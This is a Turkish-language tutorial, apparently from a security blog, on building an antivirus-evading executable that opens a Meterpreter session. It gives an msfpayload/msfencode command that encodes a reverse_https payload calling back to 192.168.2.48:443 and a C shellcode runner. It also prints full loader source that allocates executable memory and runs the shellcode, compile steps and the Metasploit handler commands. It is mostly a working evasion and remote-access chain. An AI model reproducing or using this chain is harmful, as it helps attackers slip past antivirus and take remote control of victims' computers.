Shellcode, exploit sonrası çalışan, payload olarak kullanılan komut kümesidir. Assembly dili ile yazılmıştır. Bu komutlar çalıştıktan sonra, kodun işlevine göre olay gerçekleştirilir. Örneğin, hedef sistemin kabuğuna (shell) düşülebilir, yeni bir hesap oluşturulabilir veya sisteme arka kapı bırakılabilir. Bu yazıda çalıştıran kullanıcının yetkileri ile Meterpreter bağlantısı elde edilecektir.
Shellcode ile anti-virüs atlatma işlemi için 3 adım gerçekleştirilecektir:
- MsfPayload ve MsfEncode araçları kullanılarak Shellcode oluşturulacak
- Oluşturulan kod kullanılarak uygulama kodu hazırlanacak
- Uygulama Visual Studio 2008 ile derlenerek çalıştırılabilir dosya (exe) hazırlanacak
1) Shellcode Hazırlama
Shellcode oluşturmak için kullanılabilecek en kolay yöntemlerden birisi – Metasploit tarafından desteği kesilen ve MsfVenom kullanılması tavsiye edilen – Metasploit içerisindeki msfpayload ve msfencode modüllerini kullanmaktır. Bu iki modül kullanılarak aşağıdaki gibi Shellcode oluşturulabilir.
msfpayload windows/meterpreter/reverse_https LHOST=192.168.2.48 LPORT=443 R | msfencode -b ‘x00xff’ -e x86/shikata_ga_nai -c 3 -t c -o KabukKodu
Oluşturulan Shellcode, aşağıdaki gibi “unsigned char” tipinde bir dizi içermektedir:
2) Uygulama Kodunu Hazırlama
İşlemi gerçekleştirilecek kod hazırlanır. 32 bit mimaride çalışabilen kod C dili ile aşağıdaki kodlarla hazırlanarak *.c uzantılı bir dosyaya yazılabilir.
123456 unsigned char buf[] = " "; // Shellcode yazılırint main(){void (*c0d3)();c0d3 =(void(*)()) buf;c0d3();}
64 bit mimarideki işletim sisteminde çalışması için gerekli koda ise aşağıdaki bağlantıdan erişilebilir.
https://github.com/inquisb/shellcodeexec/blob/master/windows/shellcodeexec/shellcodeexec.c
Ayrıca bakınız:
Not: Bu kod kullanılırken parametre kullanılmayacağı için “if (argc < 2)” bloğu tamamen veya bu bloğun içerisi yorum satırına alınabilir.
Bu uygulama kodu aşağıdaki gibidir:
Not: Kullanılan kodun son hali, yazının en sonuna eklenmiştir.
3) Uygulama Kodunun Derlenmesi
Son olarak da bu kod derlenecektir. Sanal makinemiz 64 bit olacağı için 64 bit için hazırlanan uygulama kodu derlenecektir. Ayrıca kodun derlenmesi için Visual Studio tarafından sağlanan “cl” aracı kullanılacaktır.
Öncelikle kod derleme işlemi, Visual Studio kurulum dizininde komut satırı çalıştırılmalıdır. Bunun için, Başlat kısmında Visual Studio Command Prompt, yönetici olarak çalıştırılmalıdır (Eğer uygulama kodu C dizini hariç bir dizinde çalıştırılacaksa yönetici olarak çalıştırmaya gerek yoktur.)
Visul Studio komut satırında “cl” aracı ile hazırlanan kodun (64bit_UygulamaKodu.c) derlenmesi ile uygulama (64bit_UygulamaKodu.exe) oluşmaktadır:
Hazırlanan uygulamanın VirusTotal ile analiz edildiğinde 3 AV tarafından yakalandığı tespit edilmiştir:
Shellcode, AV atlatmak için kullanılabilecek bir yöntemdir. Bazı durumlarda hiçbir AV tarafından yakalamamasına rağmen bazı durumlarda az sayıda da olsa bazı anti-virüsler tarafından tespit edilebilmektedir.
İstemci tarafından uygulama çalıştırıldığında bağlantının sağlanması için bir dinleyici (listener) açılması gerekir. Bu işlem aşağıdaki gibidir:
msf > use exploit/multi/handler
msf exploit(handler) > set PAYLOAD windows/meterpreter/reverse_https
msf exploit(handler) > set ExitOnSession false
msf exploit(handler) > set LHOST 192.168.2.48
msf exploit(handler) > set LPORT 443
msf exploit(handler) > exploit -j
Uygulama çalıştırıldığında aşağıdaki gibi istemci ile bağlantı sağlanmaktadır.
64 bit mimaride çalışan uygulama kodu aşağıdaki gibidir.
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 |
unsigned char buf[] = ""; // Shellcode eklenmelidir. #include <sys/types.h> #include <stdio.h> #include <string.h> #include <stdlib.h> #include <time.h> #include <ctype.h> #if defined(_WIN32) || defined(_WIN64) || defined(__WIN32__) || defined(WIN32) #include <windows.h> DWORD WINAPI exec_payload(LPVOID lpParameter); #else #include <sys/mman.h> #include <sys/wait.h> #include <unistd.h> #endif int sys_bineval(char *argv); int main(int argc, char *argv[]) { if (argc < 2) { // printf("Run:ntshellcodeexec <alphanumeric-encoded shellcode>n"); // exit(-1); } sys_bineval(buf); exit(0); } int sys_bineval(char *argv) { size_t len; #if defined(_WIN32) || defined(_WIN64) || defined(__WIN32__) || defined(WIN32) int pID; char *code; #else int *addr; size_t page_size; pid_t pID; #endif len = (size_t)strlen(argv); #if defined(_WIN32) || defined(_WIN64) || defined(__WIN32__) || defined(WIN32) // allocate a +rwx memory page code = (char *) VirtualAlloc(NULL, len+1, MEM_COMMIT, PAGE_EXECUTE_READWRITE); // copy over the shellcode strncpy(code, argv, len); // execute it by ASM code defined in exec_payload function WaitForSingleObject(CreateThread(NULL, 0, exec_payload, code, 0, &pID), INFINITE); #else pID = fork(); if(pID<0) return 1; if(pID==0) { page_size = (size_t)sysconf(_SC_PAGESIZE)-1; // get page size page_size = (len+page_size) & ~(page_size); // align to page boundary // mmap an +rwx memory page addr = mmap(0, page_size, PROT_READ|PROT_WRITE|PROT_EXEC, MAP_SHARED|MAP_ANON, 0, 0); if (addr == MAP_FAILED) return 1; // copy over the shellcode strncpy((char *)addr, argv, len); // execute it ((void (*)(void))addr)(); } if(pID>0) waitpid(pID, 0, WNOHANG); #endif return 0; } #if defined(_WIN64) void __exec_payload(LPVOID); DWORD WINAPI exec_payload(LPVOID lpParameter) { __try { __exec_payload(lpParameter); } __except(EXCEPTION_EXECUTE_HANDLER) { } return 0; } #elif defined(_WIN32) || defined(__WIN32__) || defined(WIN32) DWORD WINAPI exec_payload(LPVOID lpParameter) { __try { __asm { mov eax, [lpParameter] call eax } } __except(EXCEPTION_EXECUTE_HANDLER) { } return 0; } #endif |